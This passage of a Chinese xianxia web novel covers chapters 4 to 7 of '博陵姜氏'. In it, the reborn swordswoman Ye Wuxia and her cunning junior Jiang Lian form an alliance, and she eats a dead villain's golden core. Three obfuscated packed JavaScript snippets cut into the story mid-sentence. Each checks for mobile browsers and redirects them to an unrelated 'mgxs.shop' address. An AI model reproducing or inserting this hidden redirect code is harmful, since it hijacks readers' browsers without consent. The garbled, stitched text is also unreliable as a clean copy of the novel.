利刃毫无阻碍地穿颅而过,面前的人影却如水波般散去。姜怜不知何时已站在一侧,扣住了她的手腕:“小心啊师姐,刀剑不长眼。” 可就在这时,一点冰凉的触感,不知何时贴上了他的后颈。 “别、别动!” 有颤抖的声音在他身后响起。 4. 博陵姜氏(4) 小丫头浑身抖得像寒风中的落叶,但唯独那双握剑的手,稳如磐石,剑尖死死抵着姜怜脖子,剑身灌注了自己全部的灵力。 她被叶无瑕推到外廊之后,左思右想还是不愿独逃,于是趁乱偷偷溜了回来。与叶无瑕只在电光火石间对视一瞬,就立刻懂了她的意图。 “我要是你,就不动。” 叶无瑕将手从姜怜掌心抽出,慢条斯理地站起身。 她甚至还有闲心拍了拍衣服上的灰,这才抬起匕首,遥遥指住姜怜的眉心:“动一下会有什么下场,你刚才看得很清楚。” “是吗?” 姜怜却是笑了一下,连头都懒得回,好像根本没把架在脖子上的剑当回事,一双眼睛里只有叶无瑕:“师姐,你知道我的修为。这孩子手里的凡铁,根本伤不到我。” “凡铁自然伤不到你,但你应该认得这个。” 叶无瑕语气平淡,抬手将指间那枚漆黑的戒指一晃而过。 “我运气不错,从姜浮身上发现了锁魂戒。于是抹了他的灵魂印记,让它变回了我的。” 这锁魂戒不是普通纳戒。 当年南诏战场上,她曾亲眼见过自己一位八重修为的战友,是如何被妖族以这枚小小的指环收了进去,变成囚徒,瞬间结束战斗。 后来她也是拼了半条性命,才把敌方的大妖制服,缴获这枚早已失传许久的宝物献给仙盟。 只是她没想到,仙盟为了讨好姜氏,竟然把这等宝物赏给了姜浮那个废物,也没想到这东西兜兜转转,最后竟又回到了自己手上。 现在只要她心念微动,面前的姜怜就会成为她掌中的困兽。 叶无瑕逼近一步,轻笑道:“怎么样师弟,现在怕了吗?” “怕?为什么要怕?” 谁料姜怜也跟着笑了,甚至还得寸进尺地往前凑了凑,让眉心离那把匕首更近。双漂亮的眼睛弯成月牙,语气也越发温柔:“师姐,这锁魂戒想要有用,总得有个前提吧?” 叶无瑕心头莫名一跳,手指下意识收紧:“什么?” 姜怜看着她,慢条斯理地吐出几个字:“前提是——它是真的。” 叶无瑕的笑容瞬间僵在脸上。 她眉头一皱,忍不住低头看去,没想到那指间之物竟然变成了一枚普通纳戒,可是这种法宝太特殊了,她刚才应该不会看错的,除非…… 对了,幻术! 叶无瑕想起姜怜原本的师门最善幻术,他准是又在虚张声势,让自己看错纳戒的模样,借机诈她,于是沉声喝道:“我劝你最好别挑战我的底线,我真将你收进来了。” “师姐请便。” 可姜怜根本满不在乎,说着抬手一弹,便使架在他颈间的长剑化作一团粉末。 那挟持姜怜的少女吓得顿时花容失色,丢下手中残破的剑柄,一个趔趄坐倒在地,连哭都忘记了。 糟糕透了。 叶无瑕心中暗骂,抓住少女的衣领便将她扯到身后,同时脑中飞快思索对策,但紧接着,她的眼神沉了下来。 只见姜怜伸出一只手,指尖垂下一颗小巧玲珑的碧玉珠。 那玉珠通体透亮,在夜色下闪着莹莹的光辉,倘若仔细看去,便能看到其中还有一深一浅两道纯白的魂火。 ——竟是叶无瑕自己的魂玉! “师姐啊。” 姜怜歪了歪头,学着叶无瑕方才的语气,嫣然一笑。 “这个东西你应该认识。” * 叶无瑕师承所在的瑶光门,有个不外传的秘术。 那便是可以抽出自己的一魂一魄,炼成一块本命魂玉。 魂玉与主人的性命相连,能够储存一缕神识自主修行,相当于主人的第二个分身。 因此只要魂玉不碎,就算本体灰飞烟灭,也依旧可以凭借魂玉复活。 当初叶无瑕被仙盟临危受命,前往南诏剿灭妖国,自知此行九死一生,才特意炼了这魂玉给自己留条后路,只不过令人感到无比讽刺的是,前世这后路最终反倒是在北歧派上了用场。 叶无瑕盯着姜怜那只骨节分明的手,心里一点点沉了下去。 姜怜此人狡诈至极,当年在南诏一战,不知多少阴损奇谋皆出自他手,是仙盟里公认的“毒士”。他从不做无用之功,也绝不会无缘无故地发善心。 如今他拿着自己的魂玉,究竟有何打算? 是想以此要挟她? 还是要将她这一缕残魂彻底捏碎,让她永世不得超生? 一瞬间,叶无瑕脑中闪过无数种最坏的打算,身体不由自主绷紧,沉声问道:“你到底想干什么?” 姜怜微笑道:“想跟师姐合作。” “合作?”叶无瑕冷笑一声,“我现在灵骨被夺,肉身已毁,寄宿的这具身体灵府金丹俱碎,连灵力都无法凝结,不过是个废人罢了。而且王戟和元朔都想杀我,我实在想不出,你找我到底能帮你干什么。” 她故意如前世那般说的严重,想让姜怜知难而退,谁料对方却是摇了摇头,神色忽然变得严肃起来:“请师姐千万不要这么说。” “或许别人不了解师姐,但我了解,”他一字一顿,说得极为认真,“你是仙盟荡魔神将,北歧的战神,当年南诏的十万妖魔杀不死你,如今元氏的阴谋诡计也杀不死你,你若说自己是废人,那么这天下就再没几个正常人了。” “是吗?”叶无瑕冷冷道,“可是我的魂玉在你手里。” 姜怜忽然咧开嘴,微微一笑。 “师姐接好。” 只见眼前碧光一闪,叶无瑕下意识地抬手抓住,然而不等她五指合拢,姜怜又道:“还有这个。” 第二道血色光芒紧随而至,精准无比地落入她另一只手中。 左手掌心是与自己神魂相连、无比熟悉的温润质感;但她右手掌心却传来一股陌生的、属于另一个人的滚烫脉动,仿佛握住了一颗鲜活的心脏。 叶无瑕大脑出现了长久的空白。 魂玉自有结界护持,除非遭受极为强势的攻击,否则无须担心碎裂,但……但这不是问题的关键! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17406208|200523||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 关键是,姜怜明明已经占尽上风,为何要把她的魂玉交还回来?还有右手这颗……这颗流淌着他生命气息的血色珠子,难道竟是姜怜自己的魂玉?! 他疯了吗?还是又在耍什么花招? 姜怜精明如斯,怎会把自己的软肋拱手送人? 而且他一个游学的外门弟子,又怎会凝出瑶光门秘不外传的魂玉?这根本说不通,还是说,这魂玉又是他的幻术障眼法? “不用看了,都是真的。” 但姜怜仿佛能够洞穿人心,解释道:“我的魂玉,是当年求着师父帮忙做的,至于师姐的魂玉,是我从叶氏祖宅牌坊下的燕子窝里掏出来的。” “!!” 叶无瑕忍不住大吃一惊,叫道:“我藏魂玉的地方连师父都不知道,你又是如何得知?” 姜怜闻言笑了笑,眼神中不禁流露出一丝小得意,故意勾起唇角拖长语调:“这个么——当然是师姐自己告诉我的。” “我?” 叶无瑕眉头猛地拧紧,看向他的眼荒谬又怀疑。 这绝无可能。 自从离开师门之后,她就再也没有见过姜怜。这些年来,他们虽然同在仙盟共事,但她不是在南诏的尸山血海里拼命搏杀,就是被困于元氏的方寸之地,两人之间的交集屈指可数,她又何曾有过机会与他说起这等秘密之事? 但是姜怜显然不想回答,只继续他刚才的话题:“况且,师姐灵骨没了可以夺回来,肉身毁了可以重塑,就算灵府金丹碎裂也没关系,可以拿元阳来补。” “元阳?”叶无瑕的面色沉下来,“你要我用那种害人的法子?” “怎么会呢。”姜怜失笑,接着又向叶无瑕伸出手,“师姐,匕首借我一下。” “你要这个干什么?” 叶无瑕立刻护住少女,警惕地后退一步。 “唉。” 姜怜不由苦笑,语气中颇有几分无奈:“放心吧师姐,我方才捏着你的魂玉都没动手,倘若真想杀你们,何必搞这么麻烦?” 叶无瑕想了想,觉得自己有点太过惊弓之鸟,便将匕首抛给了他,道:“拿着。” “多谢。” 姜怜伸手接过,也不废话,径直走到姜浮的尸身旁,忽然一刀下去,鲜血飞溅。 那少女又是惊呼一声,吓得捂住眼睛,叶无瑕也不由得皱起眉。 只见姜怜竟将他弟弟的金丹从腹中挖了出来,就着血淋淋的手,直接递给叶无瑕。 他道:“师姐,请吃。” 叶无瑕皱眉:“什么意思?” 姜怜道:“就是字面意思。不是说了要帮师姐补吗,反正姜浮已死,他的金丹不吃也是浪费了。” “可是他是你弟弟。”叶无瑕道。 “呵。” 姜怜忽然笑起来,好像听到什么好笑的事。 “弟弟怎么了,不过是有点血缘关系的陌生人罢了。况且这是姜浮自作自受,咎由自取。你身体的原主变成这样,本来就是姜浮所害,吃下这颗金丹,算是帮那姑娘报仇了。” 5. 博陵姜氏(5) “……” 叶无瑕沉吟片刻:“好。” 实际上,她早就想挖姜浮的金丹了,只不过碍于姜怜在旁不好动手,加之一直摸不清他对兄弟的态度,便有些犹豫起来。 但是现在姜怜已经挑明,她也没必要再推脱,于是伸手将金丹接过,在衣服上擦了擦血,直接吞了下去。 那金丹入口,迅速化成一股灵流,随着叶无瑕的四肢百骸慢慢游走,最后汇聚于碎裂的灵府处,竟然真的将其慢慢修补起来。 叶无瑕不由暗暗吃惊,她以前只知妖兽的金丹大补,却没想到人族的内丹更甚,还有修补真元的奇效,倘若要是被那些邪修知道了,岂非不会害人? 而与此同时,那原本属于姜浮的记忆也涌入她脑中,渐渐帮她解答了疑惑。 原来,姜浮仗着自己世子的地位,从小就张扬跋扈,前些日子,更是看上了族中一名新来的女门客,还用龌龊的手段对其下了迷药。 但是万万没想到,那女修以前是合欢宗的,于是姜浮偷鸡不成蚀把米,反被对方采了真元,导致金丹受损,没法凝结灵力,性格也愈发乖戾。 姜氏门客中有心术不正投机取巧之人,觉得这是个上位的好机会,便向姜浮献上了这么个反向采补的邪术。 再到后来,姜浮发现这邪术不仅能帮他慢慢修复金丹,还能帮他精进修为,就越发变本加厉。 而且他还为了满足私欲,专挑那些年轻漂亮的少女下手,这么几周下来,不知害死了多少无辜的性命…… 或许是因为姜浮死后邪术并未完全消失,又或许是这金丹中包含了太多少女的真元,所以叶无瑕在吸收之后,竟也达到了类似的效果。那原本如破碎瓷片般的灵府,竟在这股外力的作用下勉强粘合了起来。 见她睁眼,姜怜问道:“怎样?” 叶无瑕调息片刻,慢慢运气,指尖极其熟稔地掐出一道剑诀。 她感受着灵力在指尖跳动,神魂深处那属于九重境的浩瀚灵识开始苏醒,可随着她将灵力逐渐灌输,达到某个程度之后,深海深处便骤然传来一阵极冷的攒刺感。 叶无瑕立刻收敛灵力,皱眉道:“这灵府虽然还是破破烂烂,不能恢复如初,但我起码能调用灵力了。只是金丹情况没什么变化,这身体怕是以后再也无法提升等级,所能存储的灵力上限也卡在三重封顶,若是用来复仇,绝非长久之计。” 姜怜点点头,不甚在意道:“没关系,这个交给我来想办法。” 叶无瑕没说话,只是下意识摩挲着掌心那块冰凉的魂玉。 指尖传来的触感寒意彻骨,让她猛然想起了一桩旧事—— 这本命魂玉极为特殊,炼制时必须引禁地中的地脉寒泉灌注,而整个瑶光门,唯有师尊墨桑才有权开启后山禁地。 换句话说,姜怜能炼成此玉,必然经过了师尊的首肯,所以他刚才并未撒谎。 那么既然连师尊都如此信任他,甚至愿意为了他这个外门弟子开启禁地,那便足以证明,瑶光门的覆灭并非他所为,他也绝不是那是勾结元氏的叛徒。 这念头一出,叶无瑕心头那根紧绷的弦松了松,继而涌上一股难言的愧意。 人家费尽心机保住了她的残魂,可她却满脑子想着怎么杀人。 叶无瑕抿了抿唇,极其生硬地开口:“刚才……对不起。” “!” 这话一出,原本还在琢磨怎么帮她解决修为问题的姜怜明显愣住了。 他眨了眨眼,那双总是藏着机锋的褐眸中,竟然迸射出一种单纯到近乎傻气的亮光,好像被暴雨洗过的星星。 “没关系!” 姜怜似乎完全没想到叶无瑕会主动跟他道歉,唇角怎么压都压不住地上扬,声音里满是受宠若惊:“师姐信我就好!只要师姐信我,受点委屈误会也不算什么!” 叶无瑕:“……” 合着我之前还是委屈误会你了? 叶无瑕心中忍不住腹诽,但看姜怜这副好哄得有些过头的样子,又说不出地负罪感。她忍不住轻咳一声,找补道:“要不是你以前撒谎太多,信誉扫地,我也不至于这么谨慎。” 姜怜闻言,立刻举起三根手指,神色郑重:“我姜怜对天发誓,倘若今生对师姐说过半点谎言,将来便直接死在师姐面前。” “蛤?” 叶无瑕差点气笑:“你的意思是这辈子没对我撒过谎?” 姜怜点点头,一脸真诚:“当然。” 叶无瑕:“……” 叶无瑕:“那好吧。” 她说着将手掌一翻,托出方才那枚锁魂戒。此时此刻,它竟又恢复成了原本古朴的模样,哪里还有半点普通纳戒的影子:“那咱们远的不说,就说刚才。这东西在我眼中变来变去,不是你动的手脚?” 姜怜一脸无辜地摊开手:“这房间里烛光昏暗,也许师姐眼花了呢,难道也要怪我?” 叶无瑕:“……” 叶无瑕:“那就算是我眼花,当时看错了!可你自己也明明说过这锁魂戒是赝品!” 姜怜摇摇头,笑得狡黠:“我方才的原话是‘如果’,‘如果它真的有用,我当然会害怕’。这锁魂戒本来是我从王戟那里讨来的,后来送给姜浮了,自然对我没用,是师姐自己理解错了。” “……” 诡辩!这特么分明就是诡辩! 叶无瑕咬牙切齿,方才心中积攒的歉意已荡然无存,忍不住嘲讽道:“你还当我是你师姐啊?” 这本是一句极其严厉的敲打,谁知姜怜听了,反而笑嘻嘻地凑近。 “哦?原来师姐不想当我师姐。那我以后该叫你什么……无瑕?” 叶无瑕:“……” 算了。 叶无瑕不想跟他继续掰扯,道:“我们的事可以之后再说,但这姑娘总是无辜的,你得把她先放了。” 话音未落,原本一直战战兢兢躲在身后的少女,闻言竟是一惊,想都不想就拽住她的衣袖,把头摇成了拨浪鼓:“不不不!叶姐姐,我不想走!” “……?” 叶无瑕眉头一皱,只觉得莫名其妙:“姜浮抓了你,我也不是来救你的,你不赶紧跑,还赖着我做什么?” 话刚说完,她目光骤然一凛, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17406209|200523||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 声音瞬间冷了两个度:“等等,你刚才叫我什么?” 话一出口,她便恍然反应过来。 是了,方才姜怜那厮毫无顾忌,说了她是荡魔神将,还当着这丫头的面喊了她一声“无瑕”,只要稍微有点见识的,能够认出她是叶无瑕也不足为奇。 “啊!!” 那少女却惊呼一声,猛地捂住嘴,一张脸涨得通红,还以为叶无瑕不高兴她这么亲昵地叫她,顿时慌乱起来:“抱、抱歉叶姐姐……啊不,师姐…啊不不不!前辈!前辈!哎呀……” 她急得双手胡乱比划半天,好像一时不知应该怎么称呼叶无瑕,直到使劲跺脚揉了揉自己的头发,才一脸视死如归地正色道:“咳!那个……前、前辈,如果我没猜错的话,您应该就是仙盟荡魔神将,南华真君墨桑上仙的座下首徒,叶无瑕,叶前辈吧?” 叶无瑕觉得没什么必要跟她隐瞒,便点了点头,道:“对,我是叶无瑕。” 那少女发现认对了人,显然更兴奋了:“哇哇哇!原来真是叶前辈!我我我、我是桃桃啊!” “……桃桃?”叶无瑕有点蒙,在脑子里来回搜刮了好几遍,也实在想不起自己这煞神般的前半生里,什么时候认识过一个叫“桃桃”的小姑娘。 少女急切地提醒道:“八年前,野猪林,当时有只五重修为的猪妖,是前辈一剑把它挑飞救了我!” “哦!原来是辛家小妹啊。” 叶无瑕恍然记起。 八年前,她刚入仙盟时,接到去南境边界除妖的任务,路上经过野猪林,正好碰到附近一辛姓人家的小女儿被妖兽抓走,便顺手帮了忙,没想到一晃经年,当年那个满脸泥巴的小哭包,竟然长这么大了。 只是……叶无瑕看着辛桃桃,心情颇有些复杂,这小姑娘当初被猪妖抓,如今又被姜浮抓……这倒霉的架势,真是和她有的一拼。 感慨着,只听辛桃桃正色道:“叶前辈,其实自从上次被您救下之后,我便决意修仙!我把您当做榜样,每日勤修苦练,就是想将来成为您这样能仗剑除魔、庇佑苍生、强大厉害的大女子!!” “这……” 这种热烈的直球表白,反倒把叶无瑕给整不会了。她有些不自在的挠挠头,干笑两声,眼神却暗了几分: “还是算了吧,你看我现在,人不人鬼不鬼的,都混成什么样了。” “不!请您千万不要这么说!” 辛桃桃不知哪里来的勇气,用力握住叶无瑕的手,表情愈发郑重。 “我、我虽然不知道前辈身上到底发生了什么,可能……可能也有些不自量力,但是求您让我留下来吧! “而且您这具身体的原主也对我有恩,自从我被抓到姜府之后,王姐姐一直对我照顾有加,昨天晚上守卫来抓人,也是王姐姐主动挡在前面替了我,我才能够逃过一劫见到叶前辈…… “您的恩我要报,她的恩我也要报。所以,我不想再躲在背后当那个只会哭着等救命的小丫头了!哪怕只是帮您端茶倒水,哪怕只是当个诱饵……请您给我一个机会,让我留下来出一份力吧!我愿为您做任何事!” 6. 博陵姜氏(6) 这直白而又热烈的表白,像是千斤重的巨石,狠狠砸在叶无瑕胸口,让她心里突然咯噔一下。 恍惚间,眼前这张稚嫩而坚定的脸,与梦魇中那满身是血的身影重叠在了一起。她又想起少女临终前的那一句:“师姐,我终于保护你了。” 绝望与无力感再度袭来,且不说她还没想起前世到底发生了什么,若是让这丫头继续跟着自己,恐怕她早晚还是会丢掉性命。 “不行。” 叶无瑕猛地抽回了手,声音因紧绷而显得格外生硬: “你太弱了,留在我身边不仅帮不上忙,反而会成为累赘。趁现在没人发现,赶紧走吧。” 她故意把话说得难听,就是想逼这丫头死心。但姜怜却忽然横插进来打断她道:“就算这姑娘想走,我今天也不能放她离开。” 叶无瑕眉心微皱,刚想反驳,目光却落在地上那具渐渐冰凉的尸体上。 现在姜浮身死,明日姜氏必定乱作一团。她自己的处境倒还好说,毕竟原主王姑娘是已经“死掉”的人,但那些门客都知道,辛桃桃是今夜被点名送进来的“炉鼎”,倘若她现在逃走,岂不证实了她就是畏罪潜逃的凶手? 姜氏乃仙门大族,极重声誉,为了不让采阴补阳这样的丑闻流传出去,势必会布下天罗地网追杀桃桃。 如此想来,师弟这人虽是个疯子,可在算计人心和局势上,确实想的比自己周到,可是…… 叶无瑕沉吟片刻,道:“可是就算桃桃不走,姜浮的死也瞒不过多久。你让桃桃留下,难道让她坐以待毙吗?” 姜怜说道:“不会的,我自有办法。” 叶无瑕疑惑道:“什么办法,难道你又要假扮你弟弟?” 姜怜摇摇头:“谁都知道姜家有三子,我若假扮姜浮,谁来假扮我呢?况且这法子只对那些普通门客有用,等到明日遇到常易,那就行不通了。” “常易?常易是谁?” “姜氏的大管家,我父亲的左膀右臂,是一条老狐狸。” 姜怜说着顿了顿。 “基本上我们三个孩子都是他看着长大的,姜府之中发生的任何事,都瞒不过他的眼睛,而且,他这个人只忠于姜氏家主。” 叶无瑕问道:“那你的办法是——” “很简单。” 姜怜笑道:“只要我成为家主就好。” 在仙盟成立之初,北歧一共有四大仙门世家。 分别为扶风王氏、博陵姜氏、弘农元氏,和颍川许氏。 后来,王氏家主做了仙盟的盟主,北歧的皇帝又将皇位让给王氏,四大世家,就变成了现在的三大世家,而博陵姜氏的势力仅次于王氏,也因此代替王氏,成为了仙盟中的世家领袖。 扶风王氏本是世家,也因此忌惮世家。 于是,剩余的三大世家中,元氏和许氏选择依附王氏,而姜氏则选择了避嫌,一直以来行事低调,很少参与仙盟事务。 然而姜氏百年来人才辈出,实力雄厚,加之门客众多,就算是隐退许久,其势力依旧不可小觑。 因此成为姜氏家主,便相当于拥有了号令这整个庞大世家的权力。 叶无瑕想到这里,心中不由得一震:原来师弟的野心不小! 她沉声问道:“所以,这就是你要我跟你合作的目的?” 姜怜点头:“我要让整个姜氏成为我的力量。” 叶无瑕道:“你想当北歧帝君吗?” “不。” 姜怜摇了摇头,语气突然柔了下来,望向叶无瑕的眼神波光潋滟。 他说:“我想保护一个人。” 姜怜望着叶无瑕,叶无瑕也望着他,两个人就这样对视一会儿,叶无瑕忽然抬起手,指尖猝不及防在他额上弹了一下,声音清脆。 “啊!”姜怜气愤地摸了摸脑门被弹过的地方:“你干什么?!” “弹醒你。” 叶无瑕收回手,插在胸前,声音平铺直叙听不出喜怒:“你这个计划不行,想要夺权哪有这么简单。” 她像复盘棋局一样开始罗列事实,道:“首先,即便没了姜浮,你也只是个毫无根基的庶子。且不说如何对付常易和你爹,单说这‘世子’的名分,无论如何也落不到你头上。名不正,则言不顺。” “其次,”她声音沉了几分,“就算你真的运气通天,侥幸坐上了那个位置。可姜家那群长老各个都是人精。你一无母族势力,二无强者镇压,凭什么让他们服你?” 当然还有最重要的一点:“仙盟那群老狐狸最是爱惜名声,满口的仁义道德。你若是通过弑父手段上位,在他们眼里就是人人得而诛之的邪魔歪道。到时候都不用姜家人动手,仙盟为了维护正道颜面,第一件事就是发兵剿了你这个逆子。” 这一番话,说的姜怜猝不及防,整个人怔在原地,半晌没有回应,好像真被叶无瑕弹傻了。随即,他看着叶无瑕那副理智到近乎冷酷的模样,肩膀开始不受控制地抖动,最后竟是“噗嗤”一声,再也忍不住,仰头哈哈大笑起来。 “?” 叶无瑕眉尖微挑,心说姜怜的脑子是不是坏掉了?和桃桃对视一眼,发现桃桃也是一脸懵逼。 “抱歉抱歉。” 眼见叶无瑕脸色越来越沉,姜怜连忙止住笑,举起双手,做出投降的动作。 “是我不好,我忘记了。” “忘了什么?”叶无瑕淡声问,心里越发觉得姜怜莫名其妙。 姜怜抹掉眼角笑出来的泪,看着她,嘴角弯起一个惯常没心没肺的弧度:“忘了师姐是个讲道理的人,听不懂这种疯话。” 他清了清嗓子,略过了这个话题,重新把变回那副游刃有余的模样:“不过师姐放心。明天常易会帮我的,只要桃桃按我说的做,她就绝不会有危险。” 叶无瑕眉心微皱,还正考虑姜怜的话到底可不可靠,桃桃便忽然抢在她前面,直接把事儿应了下来:“可以的!我可以的!只要能够帮上前辈,我什么都能做!” 看着桃桃这副不知世事险恶的模样,叶无瑕把到了嘴边的质疑又咽了回去。罢了。姜怜这厮虽然疯,但脑子确实好使。这种环环相扣的夺权局,或许还真就是他蓄谋已久的。 她又问道:“那我要做什么?” “师姐什么也不用做。”姜怜说得轻描淡写,“明天还不到你出场的时候。” 叶无瑕满腹狐疑:“只靠桃桃?能行吗?” “相信我,”姜怜偏过头,嘴角噙着一丝若有若无的笑意,声音却笃定的惊人,“我连师姐魂玉都能找到,当然也有办法对付常易。” 叶无瑕:“……” 魂玉之事,确实是他手段通天的铁证。 姜怜顿了顿,话锋一转,目光也变得锐利起来:“而且我看得出,师姐想向元氏和天狩帝君 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17406210|200523||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 复仇。但他们背后是整个仙盟,只凭师姐一人势单力薄。可如果……有整个姜氏做你的后盾,那就不一样了。” 他看着叶无瑕的眼睛,意有所指地补充道:“刚好,我要保护的那个人,也和仙盟有仇,也想将王戟与元氏挫骨扬灰。那么既然我们之间的利益是一致的,何不联起手来,大闹一场?” “哦?”叶无瑕眼底划过一丝玩味,原来是为了那个心上人么。 她嘴上应着,心里却在冷笑。她一直觉得姜怜这人没有心,谎话随口就来,所以谁都不爱只爱自己,真想不通,像他这种生性凉薄之人,真的会有想要保护的人吗? 不过,叶无瑕虽然对姜怜口中的深情嗤之以鼻,对他所提的合作却动了心。 她有意掀翻整个仙盟,需要有个盟友,只是上一世背刺的教训太痛,让她不敢再轻信别人的示好,而且姜怜这把“刀”实在太快,太聪明了,她怕自己用不好,反而会弄伤自己的手。 姜怜仿佛洞悉她的顾虑,忽然轻笑一声。那声音不高,却带着一种能安抚人心的力量。 “师姐,”他缓缓开口,“你不妨回想一下,咱们自从认识以来,我姜怜可曾做过任何有负于你的事情吗?” 好像…… 好像还真没有。 叶无瑕仔细回忆起来,师弟虽然整天嘴里没个正形,可对她倒是真不错。 自从姜怜拜入瑶光门,什么打扫卫生、洗衣做饭、管教后辈、下山除魔等各种杂活,她就再也没有操心过,全都有姜怜替她包揽,可以说是她在师门过得最为轻松的一段时光,而且修为精进,一日千里。 但是,但是! 她修为进步得快,明明是那小子不自量力,天天缠着她单挑比试,所以实战经验大幅提升。而她不用干各种杂活,也是因为姜怜屡战屡败,屡败屡战,最后被她罚去干的! 这分明是她作为胜者应得的待遇,怎么到了他嘴里,倒成了自己欠下的人情?实在可恶至极。 想到这里,叶无瑕冷笑一声,手中狠狠捏住姜怜的魂玉,恨不得那就是姜怜那张欠揍的笑脸。可就在这时,一股强烈的晕眩感毫无预兆地袭来,她眼前的一切开始扭曲、拉长,迅速旋转成一个幽深的漩涡。 是那个梦境。 又来了。 这一次,画面清晰得可怕。 她看看到尸山血海的战场,看到自己身上缠着傀儡丝线,一剑刺穿师父的胸膛,看到有人抱着她的破败不堪的身躯,哭得撕心裂肺,好生绝望,而那张沾满血污与泪痕的脸,竟然是姜怜! 随后画面一转。 姜怜双眸猩红如血,再无半分平日的狡黠与懒散,只剩下从地狱爬回来的、择人而噬的疯狂。 他将她冰冷的尸身小心翼翼地缚在自己背上,手中长剑因主人的滔天恨意而嗡嗡作响。然后咆哮着,用一种近乎自毁的姿态,不知向谁刺了过去…… 梦境戛然而止,叶无瑕的胸口却闷得发慌。 真是荒谬……难道自己死后师弟竟然那么伤心吗? 难道自己之前一直错怪了他? 叶无瑕按住眉心,试图理清纷乱的思绪。为什么前世死后的事情也会出现在她的记忆里?为什么她明明已经努力做出改变,今生还是会遇见桃桃和姜怜? 蝴蝶的翅膀难道不会扇起飓风吗? 为什么所有事情还是会滑向那个既定的深渊呢? 7. 博陵姜氏(7) “师姐,师姐?” 一声轻唤将她的神思拉回现实。 叶无瑕猛然回过神,眼前的画面如潮水般褪去,只剩下姜怜那张近在咫尺写满了担忧的脸。 “你的脸色……怎么这么难看?”姜怜伸出手,想去探她的额头,可手伸到一半又僵住,像是想到了什么,语气忽然弱了下来,眼神也有些躲闪,“可是我……我以前应该没有让你那么讨厌吧?” 他说到最后,声音已细若蚊蝇,甚至还带着一丝肉眼可见的慌乱。 叶无瑕听罢心里不是滋味,从没想过,原来姜怜竟然那么在乎他在自己心中的印象。她看向姜怜的眼神缓和许多,但也不会因为前世的记忆而彻底放松警惕,于是定了定神,摇头道:“不关你的事,我只是刚才有点晃神了。” 得到肯定的答复,姜怜像是松了口气,整个人重新明亮起来。 “啊,这样啊。”他咧嘴一笑,随即又得寸进尺邀功似的地凑过来,“我就知道师姐记得我的好。” “少蹬鼻子上脸,”叶无瑕抬起手中的匕首,横在两人之间,跟他隔出一段距离,冷冷道,“这招对我没用。” 姜怜垂眸看着抵在心口的凶器,可惜道:“是吗,以前可是很有用的。” “行了。”叶无瑕无视他的试探,将匕首收回,看向窗外月色,道:“时辰不早,该说正事了。桃桃这边,你打算如何安排?” “这个简单。”谈到明日计划,姜怜马上恢复了那副胸有成竹的模样。他朝桃桃招了招手,示意她附耳过来,如此这般地低声交代了几句。 辛桃桃听完,惊讶地睁大了眼睛:“啊?就……就这么简单?” 姜怜点头:“嗯,计划不复杂,就看你明日发挥了,只不过今天晚上必须委屈你,得和尸体待一起了。” “没关系!”小姑娘拍拍胸脯,“我胆子虽然小,但死人还是不怕的!” 姜怜笑道:“好,那就拜托了。” 此时月上中天,时值午夜,正是姜府守卫换班、防备最松懈的时刻。姜怜催促叶无瑕尽快离开,毕竟她如今顶着的是个死人的身份,绝不能在府内随意走动,暴露行踪。 两人借着夜色穿行在幽静的回廊上,叶无瑕脚步忽然一顿。 姜怜问她:“怎么了?” “疏忽了。”她轻啧一声,语气有些懊恼,“方才在停尸房,我杀了一个人,尸体还没处理掉。” “哦,那个吗,不用在意,我已经帮你处理掉了。” “你?”叶无瑕一怔,随即转头看他,眼神变得有些微妙。 “你处理了?你怎么知道我会借用哪具尸体?难道……”她抬眼盯住姜怜,越发觉得这一连串事情有些古怪。 但姜怜摊手打断她:“别看我,你借尸借到这里和我无关。” 叶无瑕问道:“那你刚才怎么认出我的?” 姜怜不答,反而问道:“我有问过师姐,为什么要离魂借尸,过去发生了什么事吗?” “没有。” “那不就结了。” 姜怜抬起手,为叶无瑕拨开前方路边垂下的杨柳:“保持一点神秘,是维持良好合作关系的基础。” 叶无瑕脚步微顿,并没有接话,只是眼神微微冷了下来。 不对劲。 若是“意外”撞见,他又是在何时帮她处理的尸体?能替她善后得如此及时、又如此干净,说明他从一开始就在暗处盯着她的一举一动。 “好了,到了。” 两人正说话之际,姜怜已带她穿过内庭,来到后院一间毫不起眼的静室前。 “这是我平时修行的地方,周围有结界守护,别人进不来,师姐就暂时住在这里吧。” 他推开门,领着叶无瑕简单看了一圈,道:“食物和水都在冰鉴里,那边有张竹榻可以睡觉,如果觉得太硬不舒服,就从柜子里多拿几床被褥垫上。” “嗯。”叶无瑕嘴上应着,目光却不动声色地落在他身上,心里在快速盘算。 